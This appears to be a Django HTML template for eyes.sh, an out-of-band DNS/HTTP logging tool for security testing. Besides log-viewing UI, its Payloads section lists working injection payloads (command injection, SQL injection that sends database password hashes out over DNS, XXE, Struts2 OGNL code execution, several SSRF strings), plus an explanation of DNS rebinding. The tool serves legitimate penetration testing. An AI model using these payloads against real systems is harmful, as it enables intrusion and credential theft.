mirror of
https://github.com/lijiejie/eyes.sh.git
synced 2026-09-22 01:30:43 +08:00
572 lines
31 KiB
HTML
572 lines
31 KiB
HTML
{% load static %}
|
||
{% load i18n %}
|
||
<!DOCTYPE html>
|
||
<html lang="zh-CN">
|
||
<head>
|
||
<meta charset="utf-8">
|
||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||
<title>{{ title }}</title>
|
||
<link rel="shortcut icon" href="/static/favicon.png"/>
|
||
<link href="{% static 'bootstrap-4.6.1/css/bootstrap.min.css' %}" rel="stylesheet">
|
||
<style>
|
||
pre {
|
||
white-space: pre-wrap;
|
||
white-space: -moz-pre-wrap;
|
||
white-space: -pre-wrap;
|
||
white-space: -o-pre-wrap;
|
||
word-wrap: break-word;
|
||
}
|
||
mark {
|
||
background-color: #e3f2fd;
|
||
color: green;
|
||
}
|
||
.card-header {
|
||
font-weight: bold;
|
||
}
|
||
</style>
|
||
</head>
|
||
|
||
<body style="padding-top:10px;">
|
||
<div class="container">
|
||
<nav class="navbar navbar-expand-lg navbar-light mb-3" style="background-color: #e3f2fd;">
|
||
<ul class="nav nav-pills mr-auto">
|
||
<li class="nav-item mr-3" ><img src="/static/icon.png" height="40"/></li>
|
||
<li class="nav-item" ><a class="nav-link{% if type == 'dns' %} active{% endif %}" href="/dns/">DNSLog</a></li>
|
||
<li class="nav-item"><a class="nav-link{% if type == 'web' %} active{% endif %}" href="/web/">WebLog</a></li>
|
||
<li class="nav-item"><a class="nav-link{% if type == 'config' %} active{% endif %}" href="/config/">API</a></li>
|
||
<li class="nav-item"><a class="nav-link{% if type == 'rebind' %} active{% endif %}" href="/rebind/">Rebind</a></li>
|
||
<li class="nav-item"><a class="nav-link{% if type == 'payloads' %} active{% endif %}" href="/payloads/">Payloads</a></li>
|
||
{% if is_admin %}<li class="nav-item"><a class="nav-link" href="/as_admin/">Admin</a></li>{% endif %}
|
||
</ul>
|
||
<ul class="navbar-nav">
|
||
<span class="mr-3" style="color: cornflowerblue">
|
||
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-person-circle" viewBox="0 0 16 16">
|
||
<path d="M11 6a3 3 0 1 1-6 0 3 3 0 0 1 6 0z"/>
|
||
<path fill-rule="evenodd" d="M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8zm8-7a7 7 0 0 0-5.468 11.37C3.242 11.226 4.805 10 8 10s4.757 1.225 5.468 2.37A7 7 0 0 0 8 1z"/>
|
||
</svg>
|
||
{{ username }}</span>
|
||
<a href="/logout/">{% translate '退出' %}</a>
|
||
</ul>
|
||
</nav>
|
||
{% if fail %}<div class="alert alert-danger">{{ fail }}</div>{% endif %}
|
||
{% if suc %}<div class="alert alert-success">{{ suc }}</div>{% endif %}
|
||
{% if type == 'dns'%}
|
||
<form class="form-inline my-2 mt-md-0 input-group-sm" style="display: flex;justify-content: space-between">
|
||
<div>
|
||
<input class="form-control mr-sm-2 input-sm" size="30" type="text" placeholder="{% translate '域名' %}" name="domain" value="{{ domain }}">
|
||
<button class="btn btn-sm btn-primary my-2 my-sm-0" type="submit">{% translate '搜索' %}</button>
|
||
<span class="ml-5">{% translate '子域名' %}: <mark>{{userdomain}}</mark></span>
|
||
</div>
|
||
{% include 'auto_reload.html' %}
|
||
</form>
|
||
<div id="ip_count" class="d-flex flex-wrap">
|
||
</div>
|
||
<div data-example-id="hoverable-table">
|
||
<table class="table table-hover">
|
||
<thead>
|
||
<tr>
|
||
<th>ID</th>
|
||
<th>{% translate '域名' %}</th>
|
||
<th>Type</th>
|
||
<th>IP<button id="btnCountIPs" class="btn btn-sm btn-info py-0 ml-2" onclick="count_ips('dns')">Count</button></th>
|
||
<th>{% translate '位置' %}
|
||
<div class="spinner-grow spinner-grow-sm" role="status" id="spinner_location">
|
||
</div>
|
||
</th>
|
||
<th>{% translate '时间' %}</th>
|
||
<th style="width: 120px;">{% translate '操作' %}</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
{% for log in logs %}
|
||
<tr>
|
||
<td scope="row">{{log.id}}</td>
|
||
<td style="word-break:break-all">{{ log.host }}</td>
|
||
<td>{{ log.type }}</td>
|
||
<td><a href="?ip={{ log.ip }}">{% if log.ip %} {{ log.ip }}</a> {% else %} {% endif %} </td>
|
||
<td>{% if log.city %} {{ log.city }} {% else %} {% endif %}</td>
|
||
<td>{{ log.created_time|date:'Y-m-d H:i:s' }}</td>
|
||
<td>
|
||
<a class="button btn-sm btn-danger" href="delete?{{ query_prefix }}id={{ log.id }}{% if page != 1 %}&page={{ page }}{% endif %}">{% translate '删除' %}</a>
|
||
</td>
|
||
</tr>
|
||
{% endfor %}
|
||
</tbody>
|
||
</table>
|
||
{% include 'pager.html' %}
|
||
</div>
|
||
{% endif %}
|
||
{% if type == 'web'%}
|
||
<form class="form-inline my-2 mt-md-0 input-group-sm" style="display: flex;justify-content: space-between">
|
||
<div>
|
||
<select class="form-control mr-2">
|
||
<option {% if path != '' or headers == '' %}selected{% endif %}>URL</option>
|
||
<option {% if headers != '' and path == '' %}selected{% endif %}>Headers</option>
|
||
</select>
|
||
<input class="form-control mr-sm-2 input-sm {% if headers != '' and path == '' %}d-none{% endif %}" size="30" type="text" placeholder="URL" name="path" id="inputURL" value="{{ path }}">
|
||
<input class="form-control mr-sm-2 input-sm {% if path != '' or headers == '' %}d-none{% endif %}" size="30" type="text" placeholder="headers" name="headers" id="inputHeaders" value="{{ headers }}">
|
||
<button class="btn btn-sm btn-primary my-2 my-sm-0" type="submit">{% translate '搜索' %}</button>
|
||
</div>
|
||
{% include 'auto_reload.html' %}
|
||
</form>
|
||
<div id="ip_count" class="d-flex flex-wrap">
|
||
</div>
|
||
<div data-example-id="hoverable-table">
|
||
<table class="table table-hover">
|
||
<thead>
|
||
<tr>
|
||
<th>ID</th>
|
||
<th style="width: 350px;">URL</th>
|
||
<th>IP<button id="btnCountIPs" class="btn btn-sm btn-info py-0 ml-2" onclick="count_ips('web')">Count</button></th>
|
||
<th>{% translate '位置' %}
|
||
<div class="spinner-grow spinner-grow-sm" role="status" id="spinner_location">
|
||
</div>
|
||
</th>
|
||
<th>{% translate '时间' %}</th>
|
||
<th style="width: 170px;">{% translate '操作' %}</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
{% for log in logs %}
|
||
<tr>
|
||
<td scope="row">{{log.id}}</td>
|
||
<td> <span style="word-break:break-all">{{ log.path }} </span></td>
|
||
<td><a href="?ip={{ log.remote_addr }}">{% if log.remote_addr %} {{ log.remote_addr }}</a> {% else %} {% endif %}</td>
|
||
<td> {% if log.city %} {{ log.city }} {% else %} {% endif %} </td>
|
||
<td>{{ log.created_time|date:'Y-m-d H:i:s' }}</td>
|
||
<td style="width: 150px;">
|
||
<a type="button" class="button btn-sm btn-primary" onclick="show_web_headers({{log.id}})" id="showButton_{{log.id}}">{% translate '查看' %}</a>
|
||
<a type="button" class="button btn-sm btn-danger" href="delete?{{ query_prefix }}id={{ log.id }}{% if page != 1 %}&page={{ page }}{% endif %}">{% translate '删除' %}</a>
|
||
</td>
|
||
</tr>
|
||
<tr class="d-none" id="web_headers_{{log.id}}">
|
||
<td colspan="6" style="word-break:break-all">
|
||
<div>
|
||
<pre class="alert alert-info">{% if log.headers %}{{ log.headers }}{% else %}{{ log.remote_addr }}{% endif %}</pre>
|
||
</div>
|
||
</td>
|
||
</tr>
|
||
{% endfor %}
|
||
</tbody>
|
||
</table>
|
||
{% include 'pager.html' %}
|
||
</div>
|
||
{% endif %}
|
||
{% if type == 'config'%}
|
||
<div class="mt-3">
|
||
<div class="card">
|
||
<div class="card-body">
|
||
<div class="card" >
|
||
<div class="card-body">
|
||
<p class="card-text">
|
||
<b>{% translate '子域名' %}:</b> <mark>{{userdomain}}</mark>
|
||
<b class="ml-4">Token:</b> <mark>{{token}}</mark>
|
||
{% if is_admin %}
|
||
<b class="ml-4 config"><input type="checkbox" id="enable_register" {% if enable_register == 'yes' %}checked{% endif %}> {% translate '开启用户注册功能' %}</b>
|
||
<b class="ml-4 config"><input type="checkbox" id="enable_create_random_user" {% if enable_create_random_user == 'yes' %}checked{% endif %}> {% translate '开启产生随机账号' %}</b>
|
||
{% endif %}
|
||
|
||
</p>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="card mt-2">
|
||
<div class="card-header">
|
||
{% translate '单个请求命中查询' %}
|
||
</div>
|
||
<div class="card-body">
|
||
<p class="card-text">
|
||
{{host}}/api/{type}/{{username}}/{prefix}/?token={{ token }}</p>
|
||
</p>
|
||
<ul>
|
||
<li>type: {% translate '设置为' %} <mark>dns</mark> {% translate '或者' %} <mark>web</mark></li>
|
||
<li>prefix: {% translate '三级域名前缀' %}</li>
|
||
</ul>
|
||
<p>{% translate '检查是否触发' %} <mark>test.{{userdomain}}</mark>，{% translate '访问' %}：<a href="{{host}}/api/dns/{{username}}/test/?token={{ token }}" target="_blank">{{host}}/api/dns/{{username}}/test/?token={{ token }}</a></p>
|
||
<ul>
|
||
<li>{% translate '返回' %} <mark>True</mark>，{% translate '请求被触发' %}</li>
|
||
<li>{% translate '返回' %} <mark>False</mark>，{% translate '请求未触发' %}</li>
|
||
</ul>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="card mt-2">
|
||
<div class="card-header">
|
||
{% translate '多个请求命中查询' %}
|
||
</div>
|
||
<div class="card-body">
|
||
<p class="card-text">
|
||
{{host}}/api/group/dns/{{username}}/{prefix}/?token={{ token }}</p>
|
||
</p>
|
||
<ul>
|
||
<li>prefix: {% translate '三级域名前缀' %}</li>
|
||
</ul>
|
||
<p>{% translate '对于一个较大的Payload集合，首先批量投递payload，再通过单个请求，来检查哪些payload触发执行成功。' %}</p>
|
||
<ul>
|
||
<li>{% translate '扫描器投递' %} <mark>payload1</mark>，{% translate '使用域名' %}：<mark>payload1.xxx-rce.{{userdomain}}</mark></li>
|
||
<li>{% translate '扫描器投递' %} <mark>payload2</mark>，{% translate '使用域名' %}：<mark>payload2.xxx-rce.{{userdomain}}</mark></li>
|
||
<li>{% translate '扫描器投递' %} <mark>payload3</mark>，{% translate '使用域名' %}：<mark>payload3.xxx-rce.{{userdomain}}</mark></li>
|
||
<li>...</li>
|
||
</ul>
|
||
<p>{% translate '检查是否存在漏洞，访问' %}：<a href="{{host}}/api/group/dns/{{username}}/xxx-rce/?token={{ token }}" target="_blank">{{host}}/api/group/dns/{{username}}/xxx-rce/?token={{ token }}</a></p>
|
||
<ul>
|
||
<li>{% translate '返回' %} <mark>False</mark>，{% translate '漏洞未触发' %}</li>
|
||
<li>{% translate '返回' %} <mark>{"success": "true", "data": ["payload3", "payload2", "payload1"]}</mark>{% translate '，漏洞被触发，data字段包含成功触发的payload清单，至多返回50个' %}</li>
|
||
</ul>
|
||
</div>
|
||
</div>
|
||
|
||
</div>
|
||
</div>
|
||
</div>
|
||
{% endif %}
|
||
{% if type == 'rebind'%}
|
||
<div class="mt-3">
|
||
<div class="card">
|
||
<div class="card-body">
|
||
<div class="card">
|
||
<div class="card-header">
|
||
{% translate '生成域名' %}
|
||
</div>
|
||
<div class="card-body">
|
||
<p class="card-text">
|
||
<form class="form-inline my-2 mt-md-0 input-group-sm" style="display: flex;justify-content: space-between">
|
||
<div>
|
||
<input class="form-control mr-sm-2 input-sm" size="20" type="text" placeholder="{% translate '合法IP' %}" id="valid_ip" value="123.123.123.123">
|
||
<input class="form-control mr-sm-2 input-sm" size="20" type="text" placeholder="{% translate '非法IP' %}" id="invalid_ip" value="10.1.1.1">
|
||
<button class="btn btn-primary my-2 my-sm-0" type="button" onclick="generate_domain(event)">{% translate '生成域名' %}</button>
|
||
|
||
</div>
|
||
</form>
|
||
<div class="mt-4" id="result" style="color: red"></div>
|
||
<div class="mt-4"><a href="/dns/?domain=.r.{{ userdomain }}&monitor=true" target="_blank" class="mr-4">{% translate 'DNS监控' %}</a>
|
||
<a href="/web/?path=.r.{{ userdomain }}&monitor=true" target="_blank">{% translate 'HTTP监控' %}</a></div>
|
||
</p>
|
||
|
||
</div>
|
||
</div>
|
||
<div class="card mt-2">
|
||
<div class="card-header">
|
||
什么是DNS重绑定
|
||
</div>
|
||
<div class="card-body">
|
||
<p class="card-text">
|
||
应用程序在请求用户可控的URL/域名资源时，有安全经验的程序员，往往会先解析域名，判断域名指向的IP是否在允许的范围中</p>
|
||
<p class="card-text">
|
||
例如，为了防御SSRF攻击，开发会首先检测URL中的域名指向的是一个非内网IP，才会在应用中发起后续请求。但是，由于第二步HTTP请求并不直接依赖第一步DNS请求的结果，黑客可以控制第二步请求中的目标IP，导致绕过检测。
|
||
</p>
|
||
<p class="card-text">
|
||
攻击的方法是：<br />
|
||
<mark>在程序做合法性校验时，DNS服务器首先返回一个预期的合法IP。由于DNS记录TTL为0，当应用真正发起HTTP请求资源时，再次DNS查询，此时DNS服务器立即返回一个非法的IP。</mark>
|
||
</p>
|
||
</div>
|
||
</div>
|
||
|
||
</div>
|
||
</div>
|
||
</div>
|
||
{% endif %}
|
||
{% if type == 'payloads'%}
|
||
<div class="mt-3">
|
||
<div class="card">
|
||
<div class="card-body">
|
||
<div class="card-header">
|
||
Stored XSS Test Via HTTPS
|
||
</div>
|
||
<div class="card-body">
|
||
<p class="card-text">
|
||
If you want to test XSS via https url to get rid of <b>Mixed Content Warnings (HTTPS/SSL)</b>
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>
|
||
/> <script src="https://{{ xss_test_domain }}/x/?u={{ username }}"></script><
|
||
</mark>
|
||
</p>
|
||
<p class="card-text"> Check javascript source code <a href="https://{{ xss_test_domain }}/x/?u={{ username }}">https://{{ xss_test_domain }}/x/?u={{ username }}</a></p>
|
||
</div>
|
||
<div class="card-header">
|
||
命令执行场景
|
||
</div>
|
||
<div class="card-body">
|
||
<p class="card-text">
|
||
Liunx/Unix/Mac OS系统:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>curl http://ip.port.{{ userdomain }}/`whoami`<br>ping `whoami`.ip.port.{{ userdomain }}</mark>
|
||
</p>
|
||
<p class="card-text">
|
||
Windows系统:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>ping %USERNAME%.{{ userdomain }}</mark>
|
||
</p>
|
||
</div>
|
||
<div class="card-header">
|
||
SQL注入场景
|
||
</div>
|
||
<div class="card-body">
|
||
<p class="card-text">
|
||
SQL Server数据库:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>DECLARE @host varchar(1024);<br>SELECT @host=(SELECT TOP 1<br>master.dbo.fn_varbintohexstr(password_hash)<br>FROM sys.sql_logins WHERE name='sa')<br>+'.ip.port.{{ userdomain }}';<br>EXEC('master..xp_dirtree<br>"\\'+@host+'\foobar$"');</mark>
|
||
</p>
|
||
<p class="card-text">
|
||
Oracle数据库:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.{{ userdomain }}');<br>SELECT UTL_HTTP.REQUEST('http://ip.port.{{ userdomain }}/oracle') FROM DUAL;<br>SELECT HTTPURITYPE('http://ip.port.{{ userdomain }}/oracle').GETCLOB() FROM DUAL;<br>SELECT DBMS_LDAP.INIT(('oracle.ip.port.{{ userdomain }}',80) FROM DUAL;<br>SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.{{ userdomain }}',80) FROM DUAL;</mark>
|
||
</p>
|
||
<p class="card-text">
|
||
MySQL数据库:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.{{ userdomain }}\\abc'));</mark>
|
||
</p>
|
||
<p class="card-text">
|
||
PostgreSQL数据库:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>DROP TABLE IF EXISTS table_output;<br>CREATE TABLE table_output(content text);<br>CREATE OR REPLACE FUNCTION temp_function()<br>RETURNS VOID AS $<br>DECLARE exec_cmd TEXT;<br>DECLARE query_result TEXT;<br>BEGIN<br>SELECT INTO query_result (SELECT passwd<br>FROM pg_shadow WHERE usename='postgres');<br>exec_cmd := E'COPY table_output(content)<br>FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.{{ userdomain }}\\\\foobar.txt\'';<br>EXECUTE exec_cmd;<br>END;<br>$ LANGUAGE plpgsql SECURITY DEFINER;<br>SELECT temp_function();</mark>
|
||
</p>
|
||
</div>
|
||
<div class="card-header">
|
||
XXE场景
|
||
</div>
|
||
<div class="card-body">
|
||
<p class="card-text">
|
||
XML实体:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark><?xml version="1.0" encoding="UTF-8"?><br><!DOCTYPE root [<br><!ENTITY % remote SYSTEM "http://ip.port.{{ userdomain }}/xxe_test"><br>%remote;]><br><root/></mark>
|
||
</p>
|
||
</div>
|
||
<div class="card-header">
|
||
其他场景
|
||
</div>
|
||
<div class="card-body">
|
||
<p class="card-text">
|
||
Struts2中间件:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>xx.action?redirect:http://ip.port.{{ userdomain }}/%25{3*4}<br>xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.{{ userdomain }}/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}</mark>
|
||
</p>
|
||
<p class="card-text">
|
||
FFMpeg插件:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>#EXTM3U<br>#EXT-X-MEDIA-SEQUENCE:0<br>#EXTINF:10.0,<br>concat:http://ip.port.{{ userdomain }}<br>#EXT-X-ENDLIST</mark>
|
||
</p>
|
||
<p class="card-text">
|
||
Weblogic中间件:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>example.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.{{ userdomain }}/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search</mark>
|
||
</p>
|
||
<p class="card-text">
|
||
ImageMagick插件:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>push graphic-context<br>viewbox 0 0 640 480<br>fill 'url(http://ip.port.{{ userdomain }})'<br>pop graphic-context</mark>
|
||
</p>
|
||
<p class="card-text">
|
||
Resin中间件:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>example.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.{{ userdomain }}/ssrf</mark>
|
||
</p>
|
||
<p class="card-text">
|
||
Discuz社群:
|
||
</p>
|
||
<p class="card-text">
|
||
<mark>example.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.{{ userdomain }}/x.jpg[/img]&formhash=x</mark>
|
||
</p>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
{% endif %}
|
||
</div>
|
||
|
||
<div class="modal fade" id="confirmModal" tabindex="-1" aria-hidden="true">
|
||
<div class="modal-dialog modal-dialog-centered">
|
||
<div class="modal-content">
|
||
<div class="modal-header">
|
||
<h5 class="modal-title" id="exampleModalLabel">{% translate '提示' %}</h5>
|
||
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
|
||
<span aria-hidden="true">×</span>
|
||
</button>
|
||
</div>
|
||
<div class="modal-body">
|
||
{% blocktranslate %} 是否清空全部 <b>{{ total }}</b> 条记录？删除后数据无法恢复' {% endblocktranslate %}
|
||
</div>
|
||
<div class="modal-footer">
|
||
<button type="button" class="btn btn-sm btn-secondary" data-dismiss="modal">{% translate '关闭' %}</button>
|
||
<a class="button btn-sm btn-danger" style="padding-top: 7px;" href="delete?{{ query_prefix }}{% if page != 1 %}&page={{ page }}{% endif %}"
|
||
onclick="delete_all(event, true)">{% translate '删除' %}</a>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
</div>
|
||
|
||
<script src="{% static 'jquery-3.6.0.min.js' %}"></script>
|
||
<script src="{% static 'bootstrap-4.6.1/js/bootstrap.bundle.js' %}"></script>
|
||
|
||
<script>
|
||
function show_web_headers(id) {
|
||
if ( $('#web_headers_' + id)[0].className == 'd-none'){
|
||
$('#web_headers_' + id).removeClass('d-none');
|
||
$('#showButton_' + id).text('{% translate '收起' %}');
|
||
} else {
|
||
$('#web_headers_' + id).addClass('d-none');
|
||
$('#showButton_' + id).text('{% translate '查看' %}');
|
||
}
|
||
}
|
||
/* var getUrlParameter = function getUrlParameter(sParam) {
|
||
var sPageURL = window.location.search.substring(1),
|
||
sURLVariables = sPageURL.split('&'),
|
||
sParameterName,
|
||
i;
|
||
|
||
for (i = 0; i < sURLVariables.length; i++) {
|
||
sParameterName = sURLVariables[i].split('=');
|
||
|
||
if (sParameterName[0] === sParam) {
|
||
return sParameterName[1] === undefined ? true : decodeURIComponent(sParameterName[1]);
|
||
}
|
||
}
|
||
return false;
|
||
};
|
||
*/
|
||
|
||
function delete_all(e, confirm) {
|
||
if (confirm)
|
||
return true;
|
||
e.preventDefault();
|
||
$('#confirmModal').modal();
|
||
/* if (!getUrlParameter('ip') && !getUrlParameter('domain') && !getUrlParameter('path') && !getUrlParameter('headers')) {
|
||
e.preventDefault();
|
||
$('#confirmModal').modal();
|
||
}
|
||
*/
|
||
}
|
||
|
||
$('select').on('change', function() {
|
||
if (this.value=='URL') {
|
||
$('#inputHeaders').prop('value', '');
|
||
$('#inputHeaders').addClass('d-none');
|
||
$('#inputURL').removeClass('d-none');
|
||
} else {
|
||
$('#inputHeaders').removeClass('d-none');
|
||
$('#inputURL').prop('value', '');
|
||
$('#inputURL').addClass('d-none');
|
||
}
|
||
});
|
||
{% if monitor %}
|
||
window.reload_interval = setInterval(data_changed, 10000);
|
||
{% endif %}
|
||
$('#auto_refresh').change(function () {
|
||
if ($('#auto_refresh').is(':checked')){
|
||
window.reload_interval = setInterval(data_changed, 10000);
|
||
} else {
|
||
clearInterval(window.reload_interval);
|
||
}
|
||
})
|
||
function data_changed() {
|
||
let base_url = $(location).attr('href');
|
||
if (base_url.indexOf('?') < 0){
|
||
base_url += '?'
|
||
}
|
||
url = base_url + '&check_update=true&last_id=' + {{ last_id }};
|
||
$.ajax({url:url, success:function(resp){
|
||
if (resp === 'Changed'){
|
||
if (base_url.indexOf('monitor=true') < 0){
|
||
base_url += '&monitor=true'
|
||
}
|
||
window.location.replace(base_url);
|
||
}
|
||
}});
|
||
}
|
||
|
||
function generate_domain(e){
|
||
e.preventDefault();
|
||
url = '/rebind/gen?valid_ip=' + $('#valid_ip').prop('value') + '&invalid_ip=' + $('#invalid_ip').prop('value') ;
|
||
$.ajax({url:url, success:function(resp){
|
||
$('#result').html(resp);
|
||
}});
|
||
}
|
||
|
||
$('.config').change(function (e) {
|
||
url = '/config/update?name=' + e.target.id + '&value=';
|
||
if ($('#' + e.target.id).is(':checked')){
|
||
$.ajax({url:url+'yes', success:function(resp){
|
||
location.reload();
|
||
}});
|
||
} else {
|
||
$.ajax({url:url+'no', success:function(resp){
|
||
location.reload();
|
||
}});
|
||
}
|
||
})
|
||
|
||
$(function () {
|
||
$('[data-toggle="popover"]').popover();
|
||
})
|
||
$(document).ready(function() {
|
||
var loc = $(location).attr('pathname');
|
||
if (loc.endsWith('/web/')){
|
||
col_index = 2
|
||
}
|
||
if (loc.endsWith('/dns/')){
|
||
col_index = 3
|
||
}
|
||
var allIPs = new Set([]);
|
||
$('.table tr').each(function(index) {
|
||
if (index !== 0 && $(this).children('td')[col_index]){
|
||
allIPs.add($(this).children('td')[col_index].innerText);
|
||
}
|
||
});
|
||
if (allIPs.size !== 0 ){
|
||
$.post("/ip2location", {"ips": Array.from(allIPs).join(',')}, function(result){
|
||
var data = $.parseJSON(result);
|
||
$('.table tr').each(function(index) {
|
||
if (index !== 0 && $(this).children('td')[col_index]){
|
||
let ip = $(this).children('td')[col_index].innerText;
|
||
if (ip in data){
|
||
$(this).children('td')[col_index+1].innerText = data[ip];
|
||
}
|
||
}
|
||
});
|
||
$('#spinner_location').hide()
|
||
});
|
||
} else {
|
||
$('#spinner_location').hide()
|
||
}
|
||
|
||
});
|
||
|
||
function count_ips(type){
|
||
$('#btnCountIPs').attr("disabled", true);
|
||
$.get("/ip_count/" + type, function(result){
|
||
$('#ip_count').html('');
|
||
for (let i = 0; i < result['data'].length - 1; i++) {
|
||
html = `
|
||
<a href="?ip=${result['data'][i]['ip']}" target="_blank">
|
||
<div class="card rounded-1 bg-light mr-4 my-1" style="width: 110px;" >
|
||
<div class="card-body p-0 justify-content-between d-flex">
|
||
<span class="badge bg-light" >${result['data'][i]['ip']}</span> <span class="badge bg-warning float-end rounded-1">${result['data'][i]['total']}</span>
|
||
</div>
|
||
</div>
|
||
</a>`;
|
||
$('#ip_count').append(html);
|
||
}
|
||
$('#btnCountIPs').attr("disabled", false);
|
||
});
|
||
}
|
||
</script>
|
||
|
||
</body>
|
||
</html>
|